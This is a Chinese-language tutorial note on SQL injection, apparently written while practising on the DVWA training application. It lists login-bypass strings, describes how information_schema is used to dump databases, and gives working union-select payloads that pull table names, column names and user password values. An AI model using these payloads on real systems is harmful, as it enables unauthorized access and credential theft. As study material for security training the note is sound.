弱口令
SQL注入
万能密码
admin'-- '
admin'#
万能用户名
xxx' or 1=1 limit 1 -- -
脱库
一库:information_schema
三表:
-
schemata 表:存放所有数据库信息
-
tables 表:存放所有表信息
-
columns 表:存放所有字段信息
六字段:
-
schemata表的 schema_name 字段:存放具体的数据库名
-
tables表的 table_name 字段:存放具体的表名
-
tables表的 table_schema 字段:存放表所在的数据库
-
columns表的 column_name 字段:存放具体的字段名
-
columns表的 table_name 字段:存放字段所在的表名
-
columns表的 table_schema 字段:存放字段所在的数据库名
SQL注入的类型
根据请求方式的不同可以分为
-
GET请求方式注入
-
POST请求方式注入
根据参数的数据类型可以分为
-
数值型注入
-
字符型注入
-
搜索型注入
根据注入后的回显情况
-
报错型注入
-
联合查询注入
-
布尔型注入
-
基于时间的注入
显示位数的判断
通过order by子句可以判断查询结果的显示位
联合查询
union select
联合查询的关联表显示数一样的情况下
只有可以使用union的情况下的注入
联合查询注入的探测
首先判断是否存在注入点以及注入点类型
第一种判断输入:1‘报错肯定存在注入漏洞
第二种判断输入1 and 1=1和1 and 1=2如果回显相同则存在字符型注入,如果数值回显不同则说明存在数值型注入。
联合查询漏洞利用
脱取数据库名
判断有几个显示位
使用ouder by子句查看
1' union select 1,database() --
获取到数据库名
脱取数据库表名
payload:
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --
脱取数据库字段名
-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema='dvwa' AND table_name='users') -- -
脱取数据库的字段值payload
1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users) -- -